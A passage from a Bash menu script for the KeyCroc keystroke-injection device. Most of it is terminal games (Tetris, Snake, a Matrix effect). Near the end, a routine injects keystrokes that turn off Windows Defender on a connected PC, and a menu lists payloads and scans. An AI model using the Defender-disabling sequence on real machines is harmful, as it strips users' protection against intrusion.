showtime=true    # controller runs while this flag is true
empty_cell=" ."  # how we draw empty cell
filled_cell="[]" # how we draw filled cell
score=0           # score variable initialization
level=1           # level variable initialization
lines_completed=0 # completed lines counter initialization

# screen_buffer is variable, that accumulates all screen changes
# this variable is printed in controller once per game cycle
puts() {
    screen_buffer+=${1}
}

# move cursor to (x,y) and print string
# (1,1) is upper left corner of the screen
xyprint() {
    puts "\033[${2};${1}H${3}"
}

show_cursor() {
    echo -ne "\033[?25h"
}

hide_cursor() {
    echo -ne "\033[?25l"
}

# foreground color
set_fg() {
    $no_color && return
    puts "\033[3${1}m"
}

# background color
set_bg() {
    $no_color && return
    puts "\033[4${1}m"
}

reset_colors() {
    puts "\033[0m"
}

set_bold() {
    puts "\033[1m"
}

# playfield is 1-dimensional array, data is stored as follows:
# [ a11, a21, ... aX1, a12, a22, ... aX2, ... a1Y, a2Y, ... aXY]
#   |<  1st line   >|  |<  2nd line   >|  ... |<  last line  >|
# X is PLAYFIELD_W, Y is PLAYFIELD_H
# each array element contains cell color value or -1 if cell is empty
redraw_playfield() {
    local j i x y xp yp
    ((xp = PLAYFIELD_X))
    for ((y = 0; y < PLAYFIELD_H; y++)) {
        ((yp = y + PLAYFIELD_Y))
        ((i = y * PLAYFIELD_W))
        xyprint $xp $yp ""
        for ((x = 0; x < PLAYFIELD_W; x++)) {
            ((j = i + x))
            if ((${play_field[$j]} == -1)) ; then
                puts "$empty_cell"
            else
                set_fg ${play_field[$j]}
                set_bg ${play_field[$j]}
                puts "$filled_cell"
                reset_colors
            fi
        }
    }
}

update_score() {
    # Arguments: 1 - number of completed lines
    ((lines_completed += $1))
    # Unfortunately I don't know scoring algorithm of original tetris
    # Here score is incremented with squared number of lines completed
    # this seems reasonable since it takes more efforts to complete several lines at once
    ((score += ($1 * $1)))
    if (( score > LEVEL_UP * level)) ; then          # if level should be increased
        ((level++))                                  # increment level
        pkill -SIGUSR1 -f "/bin/bash $0" # and send SIGUSR1 signal to all instances of this script (please see ticker for more details)
    fi
    set_bold
    set_fg $SCORE_COLOR
    xyprint $SCORE_X $SCORE_Y         "Lines completed: $lines_completed"
    xyprint $SCORE_X $((SCORE_Y + 1)) "Level:           $level"
    xyprint $SCORE_X $((SCORE_Y + 2)) "Score:           $score"
    reset_colors
}

help=(
"  Use cursor keys"
"       or"
"      s: up"
"a: left,  d: right"
"    space: drop"
"      q: quit"
"  c: toggle color"
"n: toggle show next"
"h: toggle this help"
)

help_on=-1 # if this flag is 1 help is shown

toggle_help() {
    local i s
    set_bold
    set_fg $HELP_COLOR
    for ((i = 0; i < ${#help[@]}; i++ )) {
        # ternary assignment: if help_on is 1 use string as is, otherwise substitute all characters with spaces
        ((help_on == 1)) && s="${help[i]}" || s="${help[i]//?/ }"
        xyprint $HELP_X $((HELP_Y + i)) "$s"
    }
    ((help_on = -help_on))
    reset_colors
}

# this array holds all possible pieces that can be used in the game
# each piece consists of 4 cells
# each string is sequence of relative xy coordinates for different orientations
# depending on piece symmetry there can be 1, 2 or 4 orientations
piece=(
"00011011"                         # square piece
"0212223210111213"                 # line piece
"0001111201101120"                 # S piece
"0102101100101121"                 # Z piece
"01021121101112220111202100101112" # L piece
"01112122101112200001112102101112" # inverted L piece
"01111221101112210110112101101112" # T piece
)

draw_piece() {
    # Arguments:
    # 1 - x, 2 - y, 3 - type, 4 - rotation, 5 - cell content
    local i x y

    # loop through piece cells: 4 cells, each has 2 coordinates
    for ((i = 0; i < 8; i += 2)) {
        # relative coordinates are retrieved based on orientation and added to absolute coordinates
        ((x = $1 + ${piece[$3]:$((i + $4 * 8 + 1)):1} * 2))
        ((y = $2 + ${piece[$3]:$((i + $4 * 8)):1}))
        xyprint $x $y "$5"
    }
}

next_piece=0
next_piece_rotation=0
next_piece_color=0
next_on=1 # if this flag is 1 next piece is shown

draw_next() {
    # Arguments: 1 - string to draw single cell
    ((next_on == -1)) && return
    draw_piece $NEXT_X $NEXT_Y $next_piece $next_piece_rotation "$1"
}

clear_next() {
    draw_next "${filled_cell//?/ }"
}

show_next() {
    set_fg $next_piece_color
    set_bg $next_piece_color
    draw_next "${filled_cell}"
    reset_colors
}

toggle_next() {
    case $next_on in
        1) clear_next; next_on=-1 ;;
        -1) next_on=1; show_next ;;
    esac
}

draw_current() {
    # Arguments: 1 - string to draw single cell
    # factor 2 for x because each cell is 2 characters wide
    draw_piece $((current_piece_x * 2 + PLAYFIELD_X)) $((current_piece_y + PLAYFIELD_Y)) $current_piece $current_piece_rotation "$1"
}

show_current() {
    set_fg $current_piece_color
    set_bg $current_piece_color
    draw_current "${filled_cell}"
    reset_colors
}

clear_current() {
    draw_current "${empty_cell}"
}

new_piece_location_ok() {
    # Arguments: 1 - new x coordinate of the piece, 2 - new y coordinate of the piece
    # test if piece can be moved to new location
    local j i x y x_test=$1 y_test=$2

    for ((j = 0, i = 1; j < 8; j += 2, i = j + 1)) {
        ((y = ${piece[$current_piece]:$((j + current_piece_rotation * 8)):1} + y_test)) # new y coordinate of piece cell
        ((x = ${piece[$current_piece]:$((i + current_piece_rotation * 8)):1} + x_test)) # new x coordinate of piece cell
        ((y < 0 || y >= PLAYFIELD_H || x < 0 || x >= PLAYFIELD_W )) && return 1         # check if we are out of the play field
        ((${play_field[y * PLAYFIELD_W + x]} != -1 )) && return 1                       # check if location is already ocupied
    }
    return 0
}

get_random_next() {
    # next piece becomes current
    current_piece=$next_piece
    current_piece_rotation=$next_piece_rotation
    current_piece_color=$next_piece_color
    # place current at the top of play field, approximately at the center
    ((current_piece_x = (PLAYFIELD_W - 4) / 2))
    ((current_piece_y = 0))
    # check if piece can be placed at this location, if not - game over
    new_piece_location_ok $current_piece_x $current_piece_y || cmd_quit
    show_current

    clear_next
    # now let's get next piece
    ((next_piece = RANDOM % ${#piece[@]}))
    ((next_piece_rotation = RANDOM % (${#piece[$next_piece]} / 8)))
    ((next_piece_color = RANDOM % ${#colors[@]}))
    show_next
}

draw_border() {
    local i x1 x2 y

    set_bold
    set_fg $BORDER_COLOR
    ((x1 = PLAYFIELD_X - 2))               # 2 here is because border is 2 characters thick
    ((x2 = PLAYFIELD_X + PLAYFIELD_W * 2)) # 2 here is because each cell on play field is 2 characters wide
    for ((i = 0; i < PLAYFIELD_H + 1; i++)) {
        ((y = i + PLAYFIELD_Y))
        xyprint $x1 $y "<|"
        xyprint $x2 $y "|>"
    }

    ((y = PLAYFIELD_Y + PLAYFIELD_H))
    for ((i = 0; i < PLAYFIELD_W; i++)) {
        ((x1 = i * 2 + PLAYFIELD_X)) # 2 here is because each cell on play field is 2 characters wide
        xyprint $x1 $y '=='
        xyprint $x1 $((y + 1)) "\/"
    }
    reset_colors
}

toggle_color() {
    $no_color && no_color=false || no_color=true
    show_next
    update_score 0
    toggle_help
    toggle_help
    draw_border
    redraw_playfield
    show_current
}

init() {
    local i x1 x2 y
    # playfield is initialized with -1s (empty cells)
    for ((i = 0; i < PLAYFIELD_H * PLAYFIELD_W; i++)) {
        play_field[$i]=-1
    }

    clear
    hide_cursor
    get_random_next
    get_random_next
    toggle_color
}

# this function runs in separate process
# it sends DOWN commands to controller with appropriate delay
ticker() {
    # on SIGUSR2 this process should exit
    trap exit SIGUSR2
    # on SIGUSR1 delay should be decreased, this happens during level ups
    trap 'DELAY=$(awk "BEGIN {print $DELAY * $DELAY_FACTOR}")' SIGUSR1
    while true ; do echo -n $DOWN; sleep $DELAY; done
}

# this function processes keyboard input
reader() {
    trap exit SIGUSR2 # this process exits on SIGUSR2
    trap '' SIGUSR1   # SIGUSR1 is ignored
    local -u key a='' b='' cmd esc_ch=$'\x1b'
    # commands is associative array, which maps pressed keys to commands, sent to controller
    declare -A commands=([A]=$ROTATE [C]=$RIGHT [D]=$LEFT
        [_S]=$ROTATE [_A]=$LEFT [_D]=$RIGHT
        [_]=$DROP [_Q]=$QUIT [_H]=$TOGGLE_HELP [_N]=$TOGGLE_NEXT [_C]=$TOGGLE_COLOR)
    while read -s -n 1 key ; do
        case "$a$b$key" in
            "${esc_ch}["[ACD]) cmd=${commands[$key]} ;; # cursor key
            *${esc_ch}${esc_ch}) cmd=$QUIT ;;           # exit on 2 escapes
            *) cmd=${commands[_$key]:-} ;;              # regular key. If space was pressed $key is empty
        esac
        a=$b   # preserve previous keys
        b=$key
        [ -n "$cmd" ] && echo -n "$cmd"
    done
}

# this function updates occupied cells in play_field array after piece is dropped
flatten_playfield() {
    local i j k x y
    for ((i = 0, j = 1; i < 8; i += 2, j += 2)) {
        ((y = ${piece[$current_piece]:$((i + current_piece_rotation * 8)):1} + current_piece_y))
        ((x = ${piece[$current_piece]:$((j + current_piece_rotation * 8)):1} + current_piece_x))
        ((k = y * PLAYFIELD_W + x))
        play_field[$k]=$current_piece_color
    }
}

# this function goes through play_field array and eliminates lines without empty sells
process_complete_lines() {
    local j i complete_lines
    ((complete_lines = 0))
    for ((j = 0; j < PLAYFIELD_W * PLAYFIELD_H; j += PLAYFIELD_W)) {
        for ((i = j + PLAYFIELD_W - 1; i >= j; i--)) {
            ((${play_field[$i]} == -1)) && break # empty cell found
        }
        ((i >= j)) && continue # previous loop was interrupted because empty cell was found
        ((complete_lines++))
        # move lines down
        for ((i = j - 1; i >= 0; i--)) {
            play_field[$((i + PLAYFIELD_W))]=${play_field[$i]}
        }
        # mark cells as free
        for ((i = 0; i < PLAYFIELD_W; i++)) {
            play_field[$i]=-1
        }
    }
    return $complete_lines
}

process_fallen_piece() {
    flatten_playfield
    process_complete_lines && return
    update_score $?
    redraw_playfield
}

move_piece() {
# arguments: 1 - new x coordinate, 2 - new y coordinate
# moves the piece to the new location if possible
    if new_piece_location_ok $1 $2 ; then # if new location is ok
        clear_current                     # let's wipe out piece current location
        current_piece_x=$1                # update x ...
        current_piece_y=$2                # ... and y of new location
        show_current                      # and draw piece in new location
        return 0                          # nothing more to do here
    fi                                    # if we could not move piece to new location
    (($2 == current_piece_y)) && return 0 # and this was not horizontal move
    process_fallen_piece                  # let's finalize this piece
    get_random_next                       # and start the new one
    return 1
}

cmd_right() {
    move_piece $((current_piece_x + 1)) $current_piece_y
}

cmd_left() {
    move_piece $((current_piece_x - 1)) $current_piece_y
}

cmd_rotate() {
    local available_rotations old_rotation new_rotation
    available_rotations=$((${#piece[$current_piece]} / 8))            # number of orientations for this piece
    old_rotation=$current_piece_rotation                              # preserve current orientation
    new_rotation=$(((old_rotation + 1) % available_rotations))        # calculate new orientation
    current_piece_rotation=$new_rotation                              # set orientation to new
    if new_piece_location_ok $current_piece_x $current_piece_y ; then # check if new orientation is ok
        current_piece_rotation=$old_rotation                          # if yes - restore old orientation
        clear_current                                                 # clear piece image
        current_piece_rotation=$new_rotation                          # set new orientation
        show_current                                                  # draw piece with new orientation
    else                                                              # if new orientation is not ok
        current_piece_rotation=$old_rotation                          # restore old orientation
    fi
}

cmd_down() {
    move_piece $current_piece_x $((current_piece_y + 1))
}

cmd_drop() {
    # move piece all way down
    # this is example of do..while loop in bash
    # loop body is empty
    # loop condition is done at least once
    # loop runs until loop condition would return non zero exit code
    while move_piece $current_piece_x $((current_piece_y + 1)) ; do : ; done
}

cmd_quit() {
    showtime=false                               # let's stop controller ...
    pkill -SIGUSR2 -f "/bin/bash $0" # ... send SIGUSR2 to all script instances to stop forked processes ...
    xyprint $GAMEOVER_X $GAMEOVER_Y "Game over!"
    echo -e "$screen_buffer"                     # ... and print final message
}

controller() {
    # SIGUSR1 and SIGUSR2 are ignored
    trap '' SIGUSR1 SIGUSR2
    local cmd commands

    # initialization of commands array with appropriate functions
    commands[$QUIT]=cmd_quit
    commands[$RIGHT]=cmd_right
    commands[$LEFT]=cmd_left
    commands[$ROTATE]=cmd_rotate
    commands[$DOWN]=cmd_down
    commands[$DROP]=cmd_drop
    commands[$TOGGLE_HELP]=toggle_help
    commands[$TOGGLE_NEXT]=toggle_next
    commands[$TOGGLE_COLOR]=toggle_color
    init
    while $showtime; do           # run while showtime variable is true, it is changed to false in cmd_quit function
        echo -ne "$screen_buffer" # output screen buffer ...
        screen_buffer=""          # ... and reset it
        read -s -n 1 cmd          # read next command from stdout
        ${commands[$cmd]}         # run command
    done
}

stty_g=`stty -g` # let's save terminal state

# output of ticker and reader is joined and piped into controller
(
    ticker & # ticker runs as separate process
    reader
)|(
    controller
)

show_cursor
stty $stty_g # let's restore terminal state
}

##
#   - Pass time Snake
##

snake_game() {
##############################################################################
#                                                                            #
#   Author : Martin "BruXy" Bruchanov, bruxy at regnet.cz                    #
#   URL    : http://bruxy.regnet.cz                                          #
#   Version: 1.01 (Wed Jan  9 20:04:26 CET 2013)                             #
#                                                                            #
##############################################################################
MW=$(tput cols)
MH=$(tput lines)
MH=$[MH-1] # bottom line is used for info and score
CONFIG=~/.housenka
DEFAULT_FOOD_NUMBER=2 # reset after game over in func. new_level
FOOD_NUMBER=0
DEATH=0
SCORE=0
TIMING=0.1            # delay constant, lower value => faster moves
C=2                   # game cycle
declare -A FOOD
_STTY=$(stty -g)      # Save current terminal setup
printf "\e[?25l"      # Turn of cursor 
printf "\e]0;HOUSENKA\007"
stty -echo -icanon
USER=$(whoami)
NAME=$(grep $USER /etc/passwd | cut -d : -f 5)

#############
# ANSI data #
#############

GAME_OVER[0]="\e[1;35m╥┌  ╓─╖ ╥ ╥ ╥─┐ ╥─┐    ╥ ╥ ╥┐  ╥ ┬\e[0m"
GAME_OVER[1]="\e[0;31m╟┴┐ ║ ║ ║\║ ╟┤  ║      ╟─╢ ╟┴┐ ╨╥┘\e[0m"
GAME_OVER[2]="\e[1;31m╨ ┴ ╙─╜ ╨ ╨ ╨─┘ ╨─┘    ╨ ╨ ╨ ┴  ╨ \e[0m"
GAME_OVER[3]="\e[0;32m╥────────────────────────────────╥\e[0m"
GAME_OVER[4]="\e[1;32m║  Stiskni ENTER pro novou hru!  ║\e[0m"
GAME_OVER[5]="\e[1;36m╨────────────────────────────────╨\e[0m"

#############
# FUNCTIONS #
#############

function at_exit() {
	printf "\e[?9l"          # Turn off mouse reading
	printf "\e[?12l\e[?25h"  # Turn on cursor
	stty "$_STTY"            # reinitialize terminal settings
	tput sgr0
	clear
}

function get_first() {
# Return: first index of array
    eval echo \${!$1[@]} | cut -d ' ' -f 1
}

function gen_food() {
	local x y food
	for ((i=0; i<$[2*$FOOD_NUMBER]; i++))
	do
		x=$[RANDOM % (MW-2) + 2]
		y=$[RANDOM % (MH-2) + 2]
		# check if leaf position is unique
		if [ $(echo ${!FOOD[@]} | tr ' ' '\n' | grep -c "^$y;$x$") -gt 0 ] 
		then
			: $[i--]
			continue
		fi
		food=$[i & 1] # 0 -- poison, 1 -- leaf
		FOOD["$y;$x"]=$food
		if [ $food -eq 1 ] ; then 
			printf "\e[$y;${x}f\e[1;32m♠\e[0m";
		else 
			printf "\e[$y;${x}f\e[1;31m♣\e[0m"; 
		fi
	done
}

function check_food() {

	local first
	# check what was eaten in garden
	if [ "${FOOD["$HY;$HX"]}" == "1" ] ; then
		unset FOOD["$HY;$HX"]
		: $[FOOD_NUMBER--] $[SCORE++]
		((FOOD_NUMBER==0)) && return 
	elif [ "${FOOD["$HY;$HX"]}" == "0" ] ; then 
		DEATH=1
	else
		first=$(get_first HOUSENKA)
		printf "\e[${HOUSENKA[$first]}f "
		unset HOUSENKA[$first]			
	fi
	# do not break into wall
	if [ $HY -le 1 ] || [ $HY -ge $MH ] || [ $HX -le 1 ] || [ $HX -ge $MW ] 
	then
		DEATH=2
	fi
	# check if Housenka does not bite herself
	if [ ! -z "$KEY" -a $C -gt 4 ] ; then
		local last
		last=${#HOUSENKA[@]}
		if [ $(echo ${HOUSENKA[@]} | tr ' ' '\n' | \
			   head -n $[last-2] | grep -c "^$HY;$HX$") -gt 0 ] ; then
			DEATH=3
		fi
	fi
}

function game_over() {
	trap : ALRM # disable interupt
	printf "\a"
	centered_window 34 ${#GAME_OVER[@]} GAME_OVER 
	if [ $SCORE -gt $TOP_SCORE ] ; then
		echo $SCORE > $CONFIG
		TOP_SCORE=$SCORE
	fi
	read
	DEATH=0 SCORE=0 DEFAULT_FOOD_NUMBER=2
	new_level
}

function centered_window() {
# $1 width $2 height $3 content
	w=$1 h=$2
	x=$[(MW-w)/2]
	y=$[(MH-h)/2]
	ul=$y";"$x
	bl=$[y+h+1]";"$x
	printf "\e[${ul}f┌"; printf '─%.0s' $(eval echo {1..$w}); printf '┐\n'
	for i in $(eval echo {0..$h}); 
	do 
		printf "\e[$[y+i+1];${x}f│";
		echo -en "$(eval printf \"%s\" \"\${$3[\$i]}\")"
		printf "\e[$[y+i+1];$[x+w+1]f│";
	done
	printf "\e[${bl}f└"; printf '─%.0s' $(eval echo {1..$w}); printf '┘\n'
}

function move() {
	check_food
	if [ $DEATH -gt 0 ] ; then game_over; fi
	if [ $FOOD_NUMBER -eq 0 ] ; then new_level;	fi
	echo -en "\e[$HY;${HX}f\e[1;33;42m☻\e[0m"
	( sleep $TIMING; kill -ALRM $$ ) &
	case "$KEY" in
		A) HY=$[HY-1] ;; # Up
		B) HY=$[HY+1] ;; # Down
		C) HX=$[HX+1] ;; # Right	
		D) HX=$[HX-1] ;; # Left
	esac
	HOUSENKA[$C]="$HY;$HX"
	: $[C++]	
	game_info
}

function draw_area() {
# draw play area
printf "\e[31m"
local x y o="█"
for ((x=0;x<=$MW;x++))
do
	printf  "\e[1;${x}f$o\e[$MH;${x}f$o"
	sleep 0.005
done
for ((y=0;y<=$MH;y++))
do
	printf "\e[${y};1f$o\e[${y};${MW}f$o"
	sleep 0.01
done
}

function new_level() {
	unset HOUSENKA
	for i in ${!FOOD[@]}; do unset FOOD[$i]; done # erase leaves and poison
	clear
	draw_area
	FOOD_NUMBER=$[DEFAULT_FOOD_NUMBER*=2]
	gen_food
	HX=$[MW/2] HY=$[MH/2]  # start position in the middle of the screen
	# body initialization
	HOUSENKA=([0]="$[HY-2];$HX" [1]="$[HY-1];$HX" [2]="$HY;$HX") 
	KEY='' 
	C=2
	trap move ALRM
}

function title_screen() {
TITLE="QlpoOTFBWSZTWWMw1D8AAnd//X38AIhAA/24Cg2UCD7H13BVRH9ktkYEBAgAEABQ
BHgAEQBSlBJEQhqaA0ZDQBoA0ABpoBo9Rk0Ghw00wQyGmmRkwgGmgDCaNMmABA0E
KRJCTTIDIAAAAAyBkNDQNNHqHDTTBDIaaZGTCAaaAMJo0yYAEDQ4aaYIZDTTIyYQ
DTQBhNGmTAAgadZFPhSv08GL4IDbz4ctYPMQnUncHF0csCYaeprXNsFiBI3jqAqr
eZINIEZYBM0vKFjDLrT3O9d7u0YdyNmszDTqrCoaow3YRJGmq1mpO9ZAbqoXLRBc
sNPFvNGSbnbbDlhVhwUxhQ2lyXlxhssjLVysN8tVGpyiODkVooK4kzcZBVBBouKq
K4k3RKUuppicgMDWCYG23aU3vWmMOHN8HBjaSTYb43vjg4bTqDizjjW5iojfdt7O
DhnoedhCmSaWgoUq6IyuzGTVFAUs66ujrbwJmIp54zi8U0Jvl2dG7jlOcZy0IU8Q
HY32Ojyejm45lswDjSi5KwUwUUlAIQ01SRKUtKU1Hjwg4A7BIMFZ3MMYMQHc2nHg
Fi88aPlyBeYkZTTyRgUml+nl5p3CxSMeGHDUCBTstZpOZckIU8f7lIckxlKZ53hT
YzK0p+YzytGd2hNg2ZCrUpkv09fqowZ9vLuiQCDnIRUPoBDAIVRIZkQO0AKOpQ0o
msRVHATFQU7vc7/1AfWSlJFEkFIrRKQUlVRCSlVNUlLQDMCxBAlAlIkEQTMFMkTM
KkKVBJARFVEBD9hI9tR52USwDECnHMMIoyMqxgMsg0BodaBnMaMbCUaR1ZLkoYFR
EgUFAFNBEoxRgYJqQNQg9r4/g7vn+99/Gsj4bVxAAJfFf177dEjRn5b+cAhI82SQ
jRPNoFhdnAMJcvMkDUJEOiRqlRWaGSUhKgJZGIkiEkGS/jv9e9m2vitRmRjm0T38
FrpAS4kkIYQliBkCQnEYYP80AEjqXFAyVSw1tRWIFcZFUcAwaeljJUjJfQ8Ph9X1
Q+3t/mIXWLjCLuLwg1WEYiUo038wzoqSHpSaSOKUde7LhfHRdQzqlxs3rJKmOROc
o6Y6ZDm+THkzMzIdPXzUOo4RVH/xdyRThQkGMw1D8A=="
	SCR=`echo "$TITLE" | base64 -d | bzcat` #unpack main screen
	local i j IFS=$'\n' 
	clear
	# center on screen
	for ((j=0;j<$[(MH-25)/2];j++)) do echo; done
	for i in $SCR
	do	
		for ((j=0;j<$[(MW-63)/2];j++)) do echo -n " "; done
		printf "%s\n" $i
	done
	read
}

function game_info() {
	printf "\e[$[MH+1];0fHráč: $USER (Nejlepší výkon: $TOP_SCORE)"
	printf "\e[$[MH+1];$[MW-12]fSkóre: %5d" $SCORE
}

########
# MAIN #
########

exec 2>/dev/null
trap at_exit ERR EXIT 
if [ -f $CONFIG ] ; then
	TOP_SCORE=$(cat $CONFIG)
else
	TOP_SCORE=0
fi
title_screen
new_level
move
while :
do
	read -rsn3 -d '' PRESS
	KEY=${PRESS:2}
done
}

##
#   - Pass time Matrix effect
##

function matrix_effect() {
	
N_LINE=$(( $(tput lines) - 1));
N_COLUMN=$(tput cols);

get_char() {
    RANDOM_U=$(echo $(( (RANDOM % 9) + 0)));
    RANDOM_D=$(echo $(( (RANDOM % 9) + 0)));
    CHAR_TYPE="\u04"
    printf "%s" "$CHAR_TYPE$RANDOM_D$RANDOM_U";
}

cursor_position() {
    echo "\033[$1;${RANDOM_COLUMN}H";
}

write_char() {
    CHAR=$(get_char);
    print_char $1 $2 $CHAR
}

erase_char() { 
    CHAR="\u0020"
    print_char $1 $2 $CHAR
}

print_char() {
    CURSOR=$(cursor_position $1);
    echo -e "$CURSOR$2$3";
}

draw_line() {    
    RANDOM_COLUMN=$[RANDOM%N_COLUMN];
    RANDOM_LINE_SIZE=$(echo $(( (RANDOM % $N_LINE) + 1)));
    SPEED=0.05
    COLOR="\033[32m";
    COLOR_HEAD="\033[37m";
    for i in $(seq 1 $N_LINE ); do 
        write_char $[i-1] $COLOR;
        write_char $i $COLOR_HEAD;
        sleep $SPEED;
        if [ $i -ge $RANDOM_LINE_SIZE ]; then 
            erase_char $[i-RANDOM_LINE_SIZE]; 
        fi;
    done;
    for i in $(seq $[i-$RANDOM_LINE_SIZE] $N_LINE); do 
        erase_char $i
        sleep $SPEED;
    done
}

matrix() {
    tput setab 000
    clear
    while true; do
        draw_line &
        sleep 0.5;
    done
}
matrix ;
}

MenuTitle PASS TIME GAMES
MenuColor 1 CHESS ; echo -ne "           ${clear}\n"
MenuColor 2 TETRIS ; echo -ne "          ${clear}\n"
MenuColor 3 SNAKE ; echo -ne "           ${clear}\n"
MenuColor 4 MATRIX ; echo -ne "          ${clear}\n"
MenuColor 5 RETURN TO MAIN MENU ; echo -ne "${clear}\n"
MenuEnd
        read pt
        case $pt in
        1) chess_game ; pass_time ;;
        2) tetris_game ; pass_time ;;
        3) snake_game ; pass_time ;;
        4) matrix_effect ; pass_time ;;
        5) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ;;
        esac
	
}

##
#   - Windows defender Functions
##

function windows_defender() {

##
#   - Windows defender enable Functions
##

defender_enable() {
	Q GUI i
	sleep 3
	Q STRING "Windows Security settings"
	Q ENTER
	sleep 1
	Q ENTER
	sleep 2
	Q TAB
	Q ENTER
	sleep 3
	Q TAB
	Q TAB
	Q TAB
	Q TAB
	Q ENTER
	sleep 2
	Q LEFTARROW
	Q ENTER
	Q ALT-F4
	Q ALT-F4
}

##
#   - Windows defender disenable Functions
##

defender_disenable() {
	Q GUI i
	sleep 3
	Q STRING "Windows Security settings"
	Q ENTER
	sleep 1
	Q ENTER
	sleep 2
	Q TAB
	Q ENTER
	sleep 3
	Q TAB
	Q TAB
	Q TAB
	Q TAB
	Q ENTER
	sleep 2
	Q KEYCODE 00,00,2c
	sleep 2
	Q LEFTARROW
	Q ENTER
	Q ALT-F4
	Q ALT-F4
}

##
#   - Windows defender Menu
##
	
	CROC_OS=/root/udisk/loot/Croc_OS.txt
	OS_CHECK=$(sed -n 1p ${CROC_OS})
	if [ "${OS_CHECK}" = WINDOWS ]; then
MenuTitle WINDOWS DEFENDER 
MenuColor 1 ENABLE WINDOWS DEFENDER ; echo -ne "   ${clear}\n"
MenuColor 2 DISENABLE WINDOWS DEFENDER ; echo -ne "${clear}\n"
MenuColor 3 RETURN TO MAIN MENU ; echo -ne "        ${clear}\n"
MenuEnd
        read w_d
        case $w_d in
        1) defender_enable ; croc_pot_plus ;;
        2) defender_disenable ; croc_pot_plus ;;
        3) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ;;
        esac
	else
	echo -ne "\n${LINE_}\e[40;4;5m$(ColorRed '--The KeyCroc is not pluged into Windows pc This will not work on this OS')${LINE_}-->${clear}${OS_CHECK}\n"
fi
}

##
#   - Croc Pot Plus Menu
##
	
function menu_B() {
	LED B
MenuTitle CROC POT PLUS MENU
MenuColor  1 TCPDUMP SCAN ; echo -ne "             ${clear}\n"
MenuColor  2 KEYSTORKES LAPTOP WINDOWS ; echo -ne " ${clear}\n"
MenuColor  3 GETONLINE PAYLOAD WINDOWS ; echo -ne " ${clear}\n"
MenuColor  4 CROCUNLOCK PAYLOAD WINDOWS ; echo -ne "${clear}\n"
MenuColor  5 WIFI SETUP PAYLOAD ; echo -ne "        ${clear}\n"
MenuColor  6 NMAP SCAN ; echo -ne "                ${clear}\n"
MenuColor  7 WINDOWS INFO SCAN ; echo -ne "         ${clear}\n"
MenuColor  8 CROC VPN SETUP ; echo -ne "            ${clear}\n"
MenuColor  9 PASS TIME GAMES ; echo -ne "           ${clear}\n"
MenuColor 10 WINDOWS DEFENDER ; echo -ne "        ${clear}\n"
MenuColor 11 RETURN TO MAIN MENU ; echo -ne "       ${clear}\n"
MenuEnd
        read a_d
        case $a_d in
        1) tcpdump_scan ; menu_B ;;
        2) keystorkes_laptop ; menu_B ;;
        3) get_online_p ; menu_B ;;
        4) croc_unlock_p ; menu_B ;;
        5) wifi_setup_p ; menu_B ;;
        6) nmap_menu ;;
        7) windows_check ; cat ${LOOT_WIND} ; menu_B ;;
        8) croc_vpn ; menu_B ;;
        9) pass_time ; menu_B ;;
       10) windows_defender ; menu_B ;;
       11) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ; menu_B ;;
        esac
 }
menu_B
}

##
#   - Croc status menu/function
##

function croc_status() {
	croc_title
	server_name=$(hostname)
	
memory_check() {
    echo -ne "\n\e[40m$(ColorYellow 'Memory usage on') ${server_name} is:${clear}\n"
    egrep --color=auto 'Mem|Cache|Swap' /proc/meminfo
    free -t -m
    cat /proc/meminfo
    vmstat
    df -h 
}

cpu_check() {
    echo -ne "\n\e[40m$(ColorYellow 'CPU load on') ${server_name} is:${clear}\n"
    more /proc/cpuinfo && lscpu | grep MHz --color=auto
    lscpu | egrep 'Model name|Socket|Thread|NUMA|CPU\(s\)'
    echo "Threads/core: $(nproc --all)"
    echo "Number of CPU/cores online at $HOSTNAME: $(getconf _NPROCESSORS_ONLN)"
    echo "CPU TEMP"
    cat /sys/class/thermal/thermal_zone*/type <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/'
}

tcp_check() {
    echo -ne "\n\e[40m$(ColorYellow 'TCP connections on') ${server_name} is:${clear}\n"
    netstat -l
    netstat -r
    netstat -tunlp
}

kernel_check() {
    echo -ne "\n\e[40m$(ColorYellow 'Kernel version on') ${server_name} is:${clear}\n"
    uname --all
    hostnamectl
    cat /proc/version
}

processes_check() {
    echo -ne "\n\e[40m$(ColorYellow 'Running Processes') ${server_name} is:${clear}\n"
    ps -aux
}

##
#   -Status KeyCroc info
##

all_checks() {
    LOOT_INFO=/root/udisk/loot/Croc_Pot/KeyCroc_INFO.txt
    rm -f ${LOOT_INFO}
    croc_title_loot >> ${LOOT_INFO}
echo -ne "\t${LINE_}KEYCROC INFO${LINE_}\n${LINE}\nCROC FIRMWARE: $(cat /root/udisk/version.txt)\nKEYCROC CONFIG SETTING:\n$(sed -n '/^[DWS]/p' /root/udisk/config.txt)\n${LINE}\nUSER NAME: $(whoami)\nHOSTNAME: $(cat /proc/sys/kernel/hostname)
IP: $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-) $(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)\nPUBLIC IP: $(curl ifconfig.co)\nMAC ADDRESS: $(ip -o link | awk '$2 != "lo:" {print $2, $(NF-2)}')\n${LINE}\nVARIABLES CURRENT USER:\n$(env)\n${LINE}\n
INTERFACE: $(ip route show default | awk '/default/ {print $5}')\nMODE: $(cat /tmp/mode)\nSSH: root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)\nDNS: $(sed -n -e 4p /etc/resolv.conf)\nDNS: $(sed -n -e 5p /etc/resolv.conf)\nDISPLAY ARP: $(ip n)\n${LINE}\nROUTE TALBE: $(ip r)\nNETWORK:\n$(ifconfig -a)\n${LINE}\nSYSTEM UPTIME: $(uptime)\n
SYSTEM INFO: $(uname -a)\n${LINE}\nUSB DEVICES:\n$(lsusb -v)\n${LINE}\nBASH VERSION:\n$(apt-cache show bash)\n${LINE}\nLINUX VERSION:\n$(cat /etc/os-release)\n${LINE}\nSSH KEY:\n$(ls -al ~/.ssh)\n$(cat ~/.ssh/id_rsa.pub)\n${LINE}\n
